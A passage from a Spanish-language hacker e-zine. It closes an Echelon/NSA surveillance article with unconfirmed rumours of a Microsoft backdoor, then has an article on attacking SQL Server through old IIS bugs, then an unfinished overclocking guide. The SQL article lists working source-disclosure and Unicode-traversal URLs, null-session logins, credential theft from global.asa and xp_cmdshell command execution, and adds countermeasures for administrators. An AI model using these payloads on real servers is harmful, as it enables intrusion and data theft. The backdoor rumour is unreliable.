Microsoft ha sido patrocinada por la NSA desde sus comienzos como empresa...
He escuchado rumores, que no me cuesta demasiado creer, de que dicha Backdoor
instalada en el sistema (envasada en origen) ya seria conocida... Pero
aquellos a quienes he preguntado de dicho asunto, poco sabian de el, asi que
esto no esta confirmado...
Otra cosa que teniamos pendiente desde el principio era la informacion sobre
el UKUSA... En 1947, y como natural extension de su colaboracion militar, los
EU y el Reino Unido firmaron un tratado secreto, que no fue conocido hasta
marzo de 1999, donde unian sus fuerzas para conducir continuamente
actividades de COMINT (inteligencia de comunicaciones) a nivel global.
Posteriormente, al menos otros tres paises se sumaron a esta operacion:
Canada, Australia y Nueva Zelanda. Ya desde antes del tratado UKUSA, la NSA
habia puesto en marcha una operacion llamada SHAMROCK, cuyas actividades
permanecieron ocultas hasta 1975, cuando las investigaciones del escandalo
Watergate llevo a hechar algo de luz sobre el asunto. El ocho de agosto de
ese mismo a~o, el director de la NSA, Teniente General Lew Allen, admitio
ante un comite de investigaciones, que la "NSA sistematicamente intercepta
las comunicaciones internacionales, tanto de voz como de cable". El tambien
admitio que "Mensajes para y de ciudadanos americanos han sido interceptadas
para reunir inteligencia exterior". Posteriormente, el Departamento de
Justicia de los EU investigo posibles ofensas criminales realizadas por la
NSA.
En agosto de 1968, el primer satelite de COMINT de los EU fue puesto en
orbita, seguido rapidamente por un segundo satelite. Los satelites eran
controlados desde una estacion en tierra germana. El principal objetivo de
dicho proyecto era la union sovietica, y las circunstancias geograficas
favorecieron a la NSA, dado que las lineas de comunicacion eran altamente
accesibles. El exito de CANYON llevo a dise~ar y emplear nuevos tipos de
satelites COMINT, los llamados CHALET. La estacion terrestre elegida para las
series CHALET se encontraba en Inglaterra. Los primeros dos satelites CHALET
fueron lanzados en junio de 1978 y en octubre de 1979. Siguiendo a la
aparicion del nombre del primer satelite en la prensa, el proyecto fue
renombrado como VORTEX. En 1982, la NSA recibio nuevos fondos y facilidades
para operar cuatro satelites VORTEX en forma simultanea.Cuando el nombre de
VORTEX fue publicado en 1987, el proyecto se renombro MERCURY. El proyecto
recibio un reconocimiento por apoyar la flota de los EU en el golfo persico,
entre 1987 y 1988. Tras otro reconocimiento, en 1991, por la colaboracion
durante las operaciones DESERT STORM y DESERT SHIELD, el proyecto es
actualmente la principal fuente de COMINT contra israel, su mayor aliado en
medio oriente. Las instalaciones de este proyecto fueron expandidas para
incluir conexiones terrestres para nuevas redes de satelites lanzados entre
1994 y 1995. El nombre de la nueva serie de satelites permanece desconocida.
La CIA, tambien, desarrollo su propia serie de satelites durante el periodo
1967 - 1985. Conocidos inicialmente como RHYOLITE, y luego como AQUACADE,
estos satelites eran operados desde una estacion de control ubicada en
australia. El proyecto original interceptaba solo las se~ales de baja
frecuencia en las bandas VHF y UHF, Nuevos tipos de satelites de este tipo,
llamados primero MAGNUM y luego ORION,tienen la capacidad de interceptar
telemetria, radio VHF, telefonos celulares, se~ales de pagers, y nexos de
datos moviles. Existe, tambien, una clase de satelite llamada inicialmente
JUMPSEAT y luego TRUMPET, lo que le premite a los EU interceptar
transmisiones de origen en las latitudes nordicas, sitio poco cubierto por
MERCURY o por ORION, y tambien interceptar se~ales de satelites de
comunicaciones Rusos.
En 1971, tambien, comenso una recoleccion sistematica de comunicaciones
COMSAT ILC. Dos estaciones terrestres se construyeron con este proposito, una
en Inglaterra y otra en los EU. Juntas, estas dos instalaciones, cubres los
oceanos pacifico, atlanticos, e indico. Poco antes de 1980, una nuevo sitio
se instalo en los EU. Entre 1985 y 1995, nuevas estaciones fueron construidas
en los EU, Canada, Australia, y Nueva Zelanda, y la capacidad de las ya
existentes se extendio. Hoy en dia sus capacidades se siguen expandiendo.
Basado en la simple cuenta de los numeros de antenas instaladas en cada
instalacion de los paises pertenecientes a la UKUSA, se puede sacar la
conclusion de que, al menos, la UKUSA opera un minimo de 120 sistemas de
recoleccion basados en satelites.
*****************************************************************************
Bueno... me he quedado aqui... procurare aliviar un poco la presion sobre mi
tiempo para darles la parte que sigue lo mas pronto posible, esperando
terminar ya el informe... Disculpad cualquier molestia que este retraso os
pudiera ocasionar, pero resulta que mi vida ultimamente se ha convertido en
un caos de buscar trabajo (Quiero Linux y no tengo un cobre!!), problemas
familiares ( Deja de estar siete horas conectado que el
telefono lo pago yo/ Tenes razon, no voy a estar mas siete, de
ahora en mas voy a estar ocho / Entonces andate con tu
computadora de mierda a otro lado!), problemas sentimentales, un formateo de
mi sistema (con la consecuente perdida de muchos datos que debo volver a
buscar), el paso a mejor vida de mi trackball (esto ultimo lo escribo
controlando el puntero con los modos de accesibilidad, pues tampoco tengo un
cobre para comprar otro!!!), y el hecho de adquirir una gran cantidad de
nuevos textos sobre lo que nos compete (el mal llamado Under), asi como de
mas informacion sobre Echelon... En fin, os pido me disculpeis por enviaroslo
incompleto, y me asegurare de que la proxima entrega este todo el material
faltante en esta... Si alguno de ustedes quisiera contactarme por algo
relacionado a este informe, algun futuro informe, o por cualquier cosa que me
quieran contactar (si es que a alguien le puede interesar contactarse
conmigo...), pueden hacerlo:
En mi direccion de E-Mail, que es:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
En mi numero de ICQ, que es:
105450884...
O en el IRC de red-latina, en los canales "#argentina" , "#locomotion" ,
"#Pandemonio", donde si no me ven como Zagato_arg (como entro casi siempre),
Posiblemente ande como El_Peregrino , Silicon_Knight , o Lyberath... (Entre
las 9:00pm y 03:00am hora argentina...)
Ahora si... Aqueste caballero se retira... Y recuerden... La Red es nuestro
mundo, y nuestro deber es protegerla de las entidades politicas y comerciales
que quieren convertir nuestra utopia en un instrumento para ganar mas poder y
dinero, censurando y controlando nuestro derecho al conocimiento...
Au-revoir, caballeros de la red... Cabalgad en los vientos de la libertad...
ZAGATO
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 09. Ataques a SQL Server ::--..
by PlaXiuS
Hola terricolas ... como estan .. ha pasado mucho desde la ultima edicion de
"Proyecto R". Bueno el encabezado de este articulo lo escribo mientras pasan
la nunca bien ponderaba pelicula "Hackers" en un canal de television abierta
aca en Chile ... que significa esto.
Pues muy simple tendremos que aguantar a cientos de estupidos con nicks
Zero_Cool, Crash_Overdrive ... etc . Se que siempre doy lata con mis
introducciones pero este es el unico medio donde puedo expresar lo que
siento. Estoy aburrido de ver decenas de sitios crackeados por un monton de
estupidos que solo saben correr el exploit del WU-FTP o utilizar el
Transversal Unicode del IIS que despues aprecen en IRC gritando al mundo su
tremenda haza~a ... sin ningun fin didactico detras del ataque. Son estas
cosas que nos hacen reflexionar sobre nuestra labor en CDLR, de que sirve
nuestro trabajo ... para que un monton de estupidos utilizen la informacion
que gente como nosotros recopilamos para mal utilizarla ??? Bueno hay otro
grupo de personas que no son asi y es por ellos que seguimos esta labor.
Bueno no los aburro mas con mis pensamientos y vamos al grano.
Hasta el momento hemos revisado en articulos anteriores como es se realiza un
ataque a sistemas operativos y a las aplicaciones que corren sobre el mismo,
hoy veremos como es posible accesar al sistema de base de datos de un sistema
lo cual es sumamente delicacdo pues normalmente un atacante deja su marca en
el servidor, puede ser un mensaje al admin o algun autografo en la pagina
del sitio, eso depende del criterio de cada intruso, pero hay otro tipo de
personas que solo buscan alguna forma de lucrar con la entrada a un servidor,
como lo son los "DELINCUENTER INFORMATICOS" y que mas sencible que las
bases de datos de una empresa. Bueno en este articulo comentare algunas
formas de ataque a las bases de datos de un servidor bajo la plataforma MS.
CODIGO FUENTE EL PRIMER PASO
============================
Bueno normalmente al acceso a las bases de datos se basan en programas cuya
tendencia es hacerlas correr bajo plataforma WEB, es decir utilizar sistemas
de paginas activas como ASP, Perl, etc .. la problematica de estos codigos no
compilados , es decir es posible ver el codigo fuente del programa, es que
son suceptibles a ataques remotos. Me explico, normalmente este codigos se
ejecutan en el servidor mostrando solo el resultado en nuestros navedores, no
es posible acceder al codigo fuente viendo el source de la pagina html. Pero
existen una cantidad bastante importante de fallos en los diferentes tipos de
servidores HTTP que son capaces de mostrar dichos codigos.
Al acceder a dichos codigos fuentes podemos aprender de que forma funciona la
aplicacion y al mismo tiempo estudiar la estructura de las bases de datos.
Por ejemplo sobre aplicaciones ASP (active server page) existe un archivo que
se puede utilizar para guardar todas las subrutinas que sean comunes para
diferentes paginas (para que entiendan los iniciados, se juntan en un archivo
las rutinas que no queremos volver a escribir en todas las paginas) por
supuesto una subrutina que se utiliza en todas las paginas que acceden a una
base de datos, es la subrutina de conexion. Normalmente esta subrutina de
conexion nos dira donde se alojan las bases de datos como tambien las claves
con las cuales se acceden a las mismas. Bueno veamos algunas formas de
conseguir dichos codigos fuentes.
ASP Dot Bug
===========
www.servidor.com/archivo.asp.
Este fallo fue descubierto por los chikos de L0pht por alla en el a~o 97,
este fallo afectaba al IIS 3.0 y consistia en poner un punto despues del
nombre de archivo ASP. Bueno el problema es fue que el parche que M$ lanzo
creo otro fallo (Me resulta familiar) bueno este nuevo fallo consistia en
cambiar el punto que separa el nombre de archivo con la extension por su
representacion hexadecimal.
www.servidor.com/archivo%2easp.
::$DATA o Alternate Data Streams
================================
www.servidor.com/global.asa::$DATA
Bueno este fallo es del IIS 3.0 es bastante antiguo se soluciona con la
instalacion del Service Pack 3 de NT 4.0 , pero sigue vigente puesto que
exite un muy mal procedimiento de no instalar los service packs despues de
reinstalar algun servicio. Me explico si reinstalas el Option Pack 4 (para
reinstalar IIS) y no aplicas los SP nuevamente, el IIS sera vulnerable a los
ataques que el SP corrrige.
SHOWCODE
========
www.servidor.com/msadc/Samples/SELECTOR/showcode.asp?source=
/msadc/Samples/../../../../../intepub/wwwroot/global.asa
www.servidor.com/iissamples/exair/howitworks/codebrws.asp?
source=/../../inetpub/wwwroot/global.asa
La aplicacion showcode permite ver el codigo fuente de las aplicaciones, en
realidad la idea es ver el codigo fuente de los archivos que vienen como
ejemplo en el IIS, por lo cual esta limitado a ver los directorios donde se
encuentran dichos archivos de ejemplo. Pero como siempre , es posible
aprovecharse de dicha aplicacion si nos devolvemos al directorio raiz del
disco y le damos el path completo del archivo que queremos editar.
Index Server (extensiones *.HTW)
============
www.servidor.com/null.htw?CiWebHitsFile=/default.asp%20
&CiRestriction=none&CiHiliteType=Full
Bueno un problema de Index Server permite ver el codigo fuente de los
archivos asp o cualquier archivo editable.
IDQ.DLL
=======
www.servidor.com/query.idq?CiTemplate=../../../inetpub/wwwroot/global.asa
Una mala implementacion de la la Dll llamada IDQ.DLL permite navegar los
directorios del disco pudiendo editar archivos ASP, ASA, INC, etc ...
Extensiones *.HTR
=================
www.servidor.com/global.asa+.htr
Las implementacion de las extensiones HTR es un tema viejo, es cosa que
recordemos el nunca bien ponderado IISHACK, que se basaba en un overflow
aprovechando dicha extension. Bueno existe un fallo con el cual se puede ver
el codigo fuente de las aplicaciones si agregamos el valor "+.htr" . Aunque
ustedes no lo crean yo habia probado este string haciendo pruebas sobre IIS y
de hecho la pagina me aparecia en blanco ... jamas se me ocurrio hacer un
view source .. si hubiera sido asi CDLR tendria el merito de haber
descubierto este bug ... jaja pero bueno sera para otra.
Virtual UNC
===========
www.servidor.com/global.asa%5C
Una mala implementaciones de IIS permite ver el codigo fuente de las
aplicaciones si enviamos un caracter especial al final de la URL , este
caracter es en si un "\" pero que debemos mandar en segun la tabla del codigo
ascii agregando un "%" antes, te suena "%20". Para que este fallo sea valido,
el sitio debe estar en otra maquina apuntando a otra maquina a traves del
path UNC, por ejemplo \servidor\webcompartido\.
Translate:f
===========
Nc.exe www.servidor.com 80
GET \global.asa %5C
Translate:f
El encabezado "Translate:f" es una implementacion para mantencion y
administracion remota, pero que se puede mal utilizar para traer el codigo
fuente de las aplicaciones. Es necesario poner el ca- racter "\" al final de
la URL, y utilizar dentro del encabezado la opcion "Translate:f".
Extended UNICODE Directory Traversal
====================================
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
Bueno que mas decir ... el arma mas utilizada por los script kiddies hoy en
dia. Me aburro de ver tanto sitio crackeado con esta tecnica lama .. pero
bueno que le vamos a hacer. Este fallo consiste en devolverse unos
directorios atras, entrar al directorio %systemroot% y ejecutar un comando
con los permisos asignados a usuario anonimo del IIS el IUSR_nombremaquina.
Normalmente este usuario tendra permisos de full control sobre el directorio
donde corren los asp, entonces es cosa de dar un type sobre el archivo asp.
Por experiencia propia podria decir que no siempre veras bien el codigo,
normalmente lo baja a tu maquina, pero puedes terminar el string con
"archivo.asp+.htr" para ver el codigo en pantalla.
Como habran notado existen muchas formas de obtener los codigos fuentes de la
aplicacion asi que la verdad es que es bastante simple poder obtener
informacion sobre la estructura de bases de datos de un sitio como tambien
las claves y conexiones utilizadas para accesar a estas.
CONECTANDOSE A LA BASE DE DATOS
===============================
Existen varias formas de conectarse tener acceso a una base de datos hoy
veremos algunas formas de acceso a estas. Realmente a veces da pena ver el
estado precario de algunos servidores que exponen sus bases de datos a todo
el mundo pensando que muchas veces la informacion que guardan pueden ser
vital para su compa~ia, pero eso pasa por una falta de conciencia y de un
desconocimiento total del tema de seguridad, aunque muchas veces pasa por ser
taca~os ... muchas empresas esperan a ser atacados para invertir algun dinero
en el tema de seguridad ... pero aun existen muchos personajes que piensan
que esto se trata de conectar un servidor a internet y a funcionar.
CLIENTE DE RED SQL SERVER
=========================
El servidor SQL normalmente trabaja de dos formas gracias a su configuracion
por defecto en el cliente de red para SQL "MULTI-PROTOCOL".
"Named Pipes": Bueno esta configuracion es conocida ya que trabaja en funcion
del soporte netbios de Windows NT ... !!! Si !!! ese con el cual te puedes
conectar a los directorios compartidos a traves de Internet ... siiiii ese
mismo con el cual puedes ver el entorno de red de una maquina a traves de
Internet. Bueno para conectarte a la base de datos puedes hacerlo a traves de
tu SQL QUERY ANALYZER pero antes debes establecer una conexion netbios
(pipes) con la maquina que contiene la base de datos .... pero como hago esto
te preguntaras pues muy simple .. estableciendo una conexion atraves de una
NULL SESSION ... mas explicito :
net use \servidor\ipc$
Cuando pregunta password, pues muy simple das enter y listo .. ahora si esto
no funciona quiere decir que el servidor tiene el parche correspondiente , o
sea el administrador se dio el tiempo de correr el C2Config o lo hizo
manualmente cambiando el registro en la maquina. Si has tenido exito con lo
anterior es tiempo de tomar tu QUERY ANALYZER y a jugar ..... pero .....
uffffff se me habia olvidado que por su puesto esta conexion te pedira un
username y password. Pues para eso esta el codigo fuente ASP , para conocer
la estructura de la base de datos y al mismo tiempo buscar en el archivo
Global.ASA o en los <--- INCLUDES ----> la informacion utilizada para la
conexion, entre esta info , el username y password para el acceso a la base
de datos.
"TCP/IP connect": La otra forma de conectarse a un servidor SQL es a a traves
del protocolo IP directamente. Primero es necesario crear un DSN en nuestro
Data Sources mas conocido como "ODBC", si! ese que esta en tu panel de
control. Veamos los pasos a seguir !! uufff que basico pero igual no faltan
los newbies por ahi que hay que ayudar.
1.- Panel de control / Data Sources("ODBC")
2.- Lengueta System DSN / New DSN
3.- Elegimos el driver SQL SERVER / Finish
4.- En nombre .. lo que se te ocurra ...
5.- En Servidor pues .. me parece obvio no ???
6.- Seleccion SQL SERVER AUTENTIFICACION
7.- Haz Click en Client Configuration / Selecciona TCP/IP
8.- Ingresar el Username y Pass de SQL Server (obtenida del fuente)
9.- Next y seleccionar la base de datos.
Ahora solo seria necesario conectarse con el Query Analyzer y listo !!
conectado a la base de datos ...
Quee !! no escuche bien !!! ahhh no tienes Windows NT menos SQL server para
que hablar del Query Analyzer ... ahhh eres un simple usuario de windows 9.x
.. mmm que problema no !! has pensado en tener un sistema operativo de verdad
.. tonces instala Linux jaja .. bueno NT tambien sirve. Ahh quieres probar
ahora .. mm ya veo ..tonces solo debes crear el ODBC en tu maquina y hacer
las consultas desde Excel o MS Access puesto que estos programas traen la
opcion de conectividad a las bases de datos a traves de un ODBC. Bueno hay
algunos linuxeros que dicen que no se puede hacer hacking desde Win2 .. ,mmm
que diran ahora...jajajja.
Existe una tercera forma mucho mas facil y sin tanta compliacion para
conectarse a la base de datos de un servidor remoto. Lo unico que necesitamos
es un navegador Web que aguante un componente ActiveX. Cuando se instala SQL
Server en un servidor que ya tenga un IIS se crea dentro del directorio
virtual "MSADC" un programa de ejemplo que en realidad es un componente
activex que simula el Query Analyzer de SQL.
La url afectada es la siguiente:
http://servidor/msadc/samples/selector/client/ie/adctovb.asp
Ahora solo debemos darle un DSN valido como tambien el username y la password
adecuada y listo conectado a la base de datos del servidor.
COMANDOS SQL
============
Es necesario entender algo de Lenguaje SQL para poder recorrer la base de
datos sin da~arla, si eres del tipo que gusta da~ar sistemas tienes prohibido
leer este articulo ... puesto que es para gente del mundo del hacking , y
como todos ya saben los hackers no hacen da~o a los sistemas solo exploramos
en busca de conocimiento con el puro fin de aprender, nada de paginas
crackeadas llenas de insultos sin ningun fin aparente .. esa es practica de
lamossss, script kiddies, etc ...
@Contenido de la base de datos
Select * from sysobjects
Se desplegara el resultado en varias columnas, una de estas con el titulo
"name" bueno esas son tablas contenidas en la base de datos.
@Contenido de una tabla
Select * from nombretabla
Nos traemos contenido de toda la tabla.
@Filtros
Select * from nombretabla where nombrecolumna = Filtro
Me explico .. te traes todos los datos de una tabla donde (where) el nombre
de columna sea igual a tu filtro. Grafiquemoslo mejor.
TABLA (1)
nombre edad ciudad
====== ====== ======
juanito 21 santiago
jose 32 santiago
carlitos 21 medellin
Tenemos en la tabla 1, tres columnas llamadas nombre, edad, ciudad, que
utilzaremos como filtro ... veamos unos ejemplos.
"ejemplo1"
Select * from tabla_1 where ciudad = santiago
Esto traera todos los datos de la tabla donde la columna ciudad sea = a
santiago, en este caso el resultado seria algo como lo siguiente:
nombre edad ciudad
====== ===== ======
juanito 21 santiago
jose 32 santiago
"ejemplo2"
select nombre from tabla_1 where edad <> 21
nombre
======
jose
En este caso usamos <> para decir que nos traiga el campo nombre donde la
edad fuera diferente a 21.
Bueno los operadores de filtro son los siguientes.
> Mayor que
< Menor que
= Igual
<> Distinto
@Contar registros
Select count(*) from table_1
Con el comando count contamos los registro de la tabla en este caso el
resultado seria "3", tambien podemos utilizar los filtros para contar los
registros que cuenten con ciertas caracteristicas.
Procedimientos Almacenados Extendidos
=====================================
La verdad que solo hablare de un solo procedimiento almacenado extendido.
Hablaremos de "xp_cmdshell". Bueno los procedimientos almacenados extendidos
tiene como mision realizar ciertas labores dentro del mismo sistema
operativo, es decir tienen como mision intercomunicar al servidor SQL al
sistema operativo mismo permitiendo ejecutar aplicaciones, parametros y
cambios de registro si es necesario, desde un aplicacion SQL o mas bien dicho
de un procedimiento almacenado normal.
Estos procedimientos almacenados extendidos pertenecen a la base MASTER por
lo cual es necesario tener permiso en esta base de datos para poder
ejecutarlos. El problema que existen muchos sistemas con User "SA" y
passwords en blanco, de hecho es poco comun ver aplicaciones con un usuario
destinado a una base de datos en especial.
Si se llega a tener acceso a un servidor SQL y a la base de datos MASTER solo
seria necesario correo el siguiente comando.
EXEC xp_cmdshell 'dir c:'
Con esto podremos listar el contenido del disco "C:" , bueno el resto se los
dejo a su imaginacion, solo es necesario poner el comando entre "'" comillas
simples para poder ejecutarlos a traves de este medio.
Kristo de 0wn3d creo por ahi un programa llamado SQLCMDEXPLOIT capaz de
conectarse a un servidor SQL y hacer el trabajo por ti solo tienes que poner
la ip y el comando que quieras ejecutar , asi que si eres un lamercillo ...
bueno ahi esta tu programa.
Dejaremos el tema de los procedimientos almacenados extendidos para otra
ocasion donde los trataremos mas a fondo con todas las funciones interesantes
que estos tienen.
CONTRAMEDIDAS (ATENCION ADMINISTRADORES)
========================================
Exiten muchas contramedidas al respecto. Pero ojo hay muchos que creen que
instalando todos los parches de Mocosoft estan a salvo de esa peste llamada
"HACKERS" ... jijiji .. si piensas asi estas muy equivocado.
Te recomiendo que sigas esta pauta, ahora si no sabes como ejecutarla
averigua pues ya existen muchos manuales graficos (onda screenchot) click aki
click alla y listo ...
Securitizacion del IIS:
=======================
- Instalar Internet Information Server en una particion diferenta a la del
sistema operativo. (si WINNT esta en C: Instalas IIS en el D:)
- Instalar Service pack 6a despues de haber instalado IIS.
- Eliminar el Defaul Web Server y crear un nuevo Web Server que apunte a tu
aplicacion, dicha aplicacion debe encontrarse en una particion diferente a la
del sistema operativo.
- No crear directorios con permisos de ejecucion si es posible dentro del
nuevo site.
- Eliminar Extensiones STM, IDA, IDC, IDQ, HTW, HTR si es posible dejar solo
extensions ASP.
- Bajar cualquier otro servicio que no se utilize dentro del IIS com FTP
Server , Web de administracion , SMTP.
- No utilizar extensions INC , DAT , ETC ... para los includes , estos
archivos se pueden leer perfectamente desde el navegador si se sabe la ruta
... utiliza extensiones ASP , ASA.
- Si utilizas GLOBAL.ASA , hace mension a un archivo .INI que este dentro de
WINNT, en dicho archivo has la referencia al DSN con su respectivo User y
Pass.
Securitizando SQL Server
========================
- Cerrar puerto 1433 a Internet .. mejor aun deja los puertos necesarios si
es un Web Server deja abierto solo el puerto 80, puedes hacerlo con el IP
Filter de WINNT o si tienes mas recurso con un Firewall.
- Cambiar el passwd del usuario SA.
- Crear un usuario por cada base de datos a utilizar, nunca corras
aplicaciones sobre la base MASTER pues es muy probable que alguien pueda
ejecutar procedimientos almacenados extendidos a traves de esta aplicacion.
- Renombrar Procedimientos Almacenados Extendidos , con esto evitaras que un
atacante tenga acceso al sistema operativo a traves de estos. OJO .. cuando
cambies los nombres de dichos procedimientos almacenados estos dejaran de
funcionar automaticamente.
- Y eso .. puede que algo se me quede en el tintero , pero esto es lo minimo
para mantener tu sistema seguro.
Eso es todo por esta edicion ... espero que les haya gustado el articulo,
veamos si los sorprendo con el articulo para la proxima edicion.
PlaXiuS
CDLR
Security Team
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 10. Overclocking ::--..
by General Failure & Mr.Nexus
1 - Que es el overclocking
2 - Conceptos basicos: Bus y multiplicador
3 - Conceptos avanzados: Overclocking en micros superiores
4 - Tecnicas de refrigeracion
5 - Overcloking, ¿si o no?
6 - Recursos
1 - Que es el Overclocking
--------------------------
Es probable que hayas escuchado muchas veces que alguien le hiso "no se que"
a su pc y funciona "no se cuantos" Mhz mas rapido, o has leido por ahi que se
puede aumentar la velocidad sin gastar plata. Seguramente se referian al
antiguo, pero aun vigente OVERCLOCKING, el aumento de la frecuencia del
reloj. Esta tecnica "exprime" la capacidad de tu procesador y acelera tu
sistema, ...aunque, como todo, tiene su riesgo.
En palabras simples, overclockear es modificar los ajustes del hardware para
hacerlo funcionar mas rapido de lo que el fabricante pretende. Todo hardware
tiene unos margenes de velocidad de trabajo para los que fue dise~ado, pero
la gran mayoria del hardware puede trabajar mas rapido de lo que tiene
establecido. En este caso, hablaremos de overclockear procesadores, es decir,
veremos algunas tecnicas usadas para aumentar sus frecuencias de trabajo con
respecto a las que vienen predeterminadas en estos.
2 - Conceptos basicos: Bus y multiplicador en la arquitectura Pentium / K6
--------------------------------------------------------------------------
Basicamente, para overclockear hay 2 ajustes que se pueden manipular: La
velocidad del reloj de la CPU y la velocidad del reloj BUS del sistema. Estos
valores estan controlados por jumpers en la placa base, o por valores que se
pueden ajustar en la BIOS del sistema. En el caso de que en tu pc se pueda
ajustar desde la BIOS, ni siquiera tendras que abrir el computador.
Estos valores controlan la velocidad de la CPU, y la velocidad del Bus de
sistema para que puedas trabajar con diferentes procesadores. O sea, si
tienes por ej. un amdk6 de 300 Mhz y lo quieres cambiar por un procesador de
366 Mhz, cambias el micro y modificas los jumpers o los valores en la BIOS
para que la placa base trabaje a la nueva velocidad, siempre y cuando tu
placa madre lo permita.
Aqui estan unos valores estandar de CPUs, posibles combinaciones entre la
frecuencia del bus y la del multiplicador.
Frecuencia bus Multiplicador Frecuencia clock
66 Mhz 2 133 Mhz
66 Mhz 2.5 166 Mhz
66 Mhz 3 200 Mhz
66 Mhz 3.5 233 Mhz
66 Mhz 4 266 Mhz
66 Mhz 4.5 300 Mhz
66 Mhz 5 333 Mhz
66 Mhz 5.5 366 Mhz
66 Mhz 6 400 Mhz
100 Mhz 2 200 Mhz
100 Mhz 2.5 250 Mhz
100 Mhz 3 300 Mhz
100 Mhz 3.5 350 Mhz
100 Mhz 4 400 Mhz
100 Mhz 4.5 450 Mhz
100 Mhz 5 500 Mhz
100 Mhz 5.5 550 Mhz
100 Mhz 6 600 Mhz
Pero lo que tu quieres es saber como hacerlo, cierto?
Antes de que lo intentes tienes que tener los ajustes de los jumpers de tu
placa base, o los ajustes de la BIOS, segun tu caso. Estos estan en el manual
de tu placa base (si nunca has revisado este manual, deberia darte
vergüenza!). Si no lo tienes, visita la web del fabricante y busca el
manual... Si no consigues el manual o los esquemas de las posiciones de los
jumpers, te recomiendo que NO intentes el overclocking... lo puedes lamentar
(Un amigo intento hacerlo y cambio casi todos los jumpers de posicion, y al
no saber despues donde estaban... ).
Multiplicador de frecuencia.
Veamos el primer metodo que es incrementar la velocidad del reloj de la CPU.
Un ajuste controla la velocidad del bus de sistema y otro el multiplicador.
El multiplicador es un numero por el que multiplicamos la velocidad del bus
del sistema para obtener la velocidad del procesador. Un Pentium 150 corre
sobre el bus de sistema a 60 Mhz con multiplicador 2.5, esto es, 60*2.5=150
Mhz (facil, cierto?). Para overclockear el sistema sin cambiar la velocidad
del bus, ajustamos el jumper o el valor de la BIOS que controla el
multiplicador. Por ejemplo, puedes subir el multiplicador hasta 3.0x y hacer
trabajar a la CPU a: 60*3.0=180 Mhz. Pero... el resultado puede ser un
sistema muy inestable, porque estas forzando el procesador. Incluso puede no
funcionar, colgarse (sobre todo con güindous), e incluso, en caso de que te
hayas ido en la "vola" y los hayas overclockeado muy alegremente...
achicharrar el procesador (ups!). Pero tambien esto tiene arreglo y mas
adelante veremos algunas tecnicas de refrigeracion.
Frecuencia del Bus.
El segundo metodo, subir la velocidad del bus de sistema, tiene otras
repercusiones, ya que estas haciendo trabajar mas rapido tambien a otros
componentes del ordenador. Ten en cuenta que del bus de sistema es el que la
lleva, y si va mas rapido TODO ira mas rapido, no solo la CPU. Retomemos el
obsoleto pentium 150 del ejemplo anterior. Si subimos la velocidad del bus de
sistema a 66Mhz, haremos trabajar a la CPU a 166Mhz. No parece mucho, pero al
trabajar TODOS los componentes mas rapido, el rendimiento sera mayor, al
menos un 15% mas. El exito depende de la capacidad de los circuitos de la
placa madre, y como no estamos exprimiendo tanto la CPU (Ahora 166 frente a
los 180 de antes), el sistema sera mas estable que en el caso anterior.
Y esto se pone mas interesante si hablamos de placas que soportan velocidades
de 83Mhz, que incluso llegan a 100Mhz. Con el mismo Pentium 150Mhz de antes,
en una placa que soporte la velocidad de bus de 75Mhz, y bajando el
multiplicador a 2.0x conseguiremos aumentar el rendimiento sin forzar la CPU,
ya que esta sigue trabajando a 150Mhz, pero el sistema a aumentado hasta
75Mhz desde los 60 originales... Y si la placa puede funcionar, de forma
oficial o no oficial, a una velocidad de sistema de 83Mhz, podrias usarlo con
el multiplicador a 2.0x. Esto resulta en un Pentium 166, pero el sistema
rinde en realidad como un 200Mhz o mas!!... Lo mejor es que las tecnicas del
overclocking sirven para pentiums, celerones, k6, etc.
3 - Conceptos avanzados: Overclocking en micros superiores
----------------------------------------------------------
Ya hemos visto como overclockear micros algo antiguos, Pentiums, K6, ... y
vemos que es muy sencillo, pero la cosa se complica con los micros algo mas
superiores.
Aunque la base del overclocking sigue siendo la misma, cambiar el bus o el
multiplicador, las tecnicas varian mucho debido a que a partir de cierta
epoca, los fabricantes de microprocesadores decidieron bloquear de fabrica el
multiplicador en sus micros. Aunque en principio se penso que esto
dificultaria mucho el overcloking, al limitarlo solo a subir el bus de la
maquina, esto no ha sido asi, ya que a lo largo del tiempo se han descubierto
multiples formas para desbloquear los multiplicadores bloqueados. Aqui
veremos algunos ejemplos de ello:
- Celerones: Los micros Celerones destacaron por su capacidad para ser
forzados hasta limites insospechados, sin que la temperatura del micro
subiera en exceso. Marcaron un punto de inflexion en la carrera de los
overclockers y es raro encontrarse a uno que no haya disfrutado de este
excelente procesador.
Aunque el multiplicador del Celeron venia bloqueado de fabrica, en seguida
se descubrio como la propia tecnologia del Slot-1 en que venia el Celeron 1
nos podia ayudar a enviarle los voltios que quisiesemos al micro. Jugando
con unos contactos concretos, podiamos subir o bajar el voltaje que el
aplicabamos al micro. Estos contactos son: A-119, A-120, A-121, B-119,
B-120,B121
Las combinaciones de estos que seguramente mas nos interesaran, seran:
2,2 v: Tapar contactos A-121, A-119, B-119
2,4 v: Tapar contactos A-120, A-121, B-119
Las tecnicas para evitar este contacto fueron varias, ... habia quien tapaba
los contactos con cinta aislante, pero este es un metodo bastante chapuza,
ya que al sacar de nuevo el micro del slot, a veces la cinta se quedaba en
el slot. Lo mejor resulto ser utilizar un barniz especial que se vende en
tiendas de electronica, llamado 'barniz de blocaje', tan solo una gota era
necesaria para tapar el contacto requerido, y el barniz te aseguraba que no
hiciera contacto :)
El resultado: un formidable micro capaz de incluso doblar su rendimiento con
tan solo unos peque~os cambios.
- Athlones: El micro revolucionario de AMD, con el que ha pateado tantas
veces el culo a intel en cuanto a ventas y a orgullo se refiere, :) Los
Athlones tambien venian con el multiplicador bloqueado, pero en seguida se
difundieron por ahi unos peque~os circuitos integrados con unos jumpers o
con switchs en ellos que se colocaban en el propio micro y hacian las veces
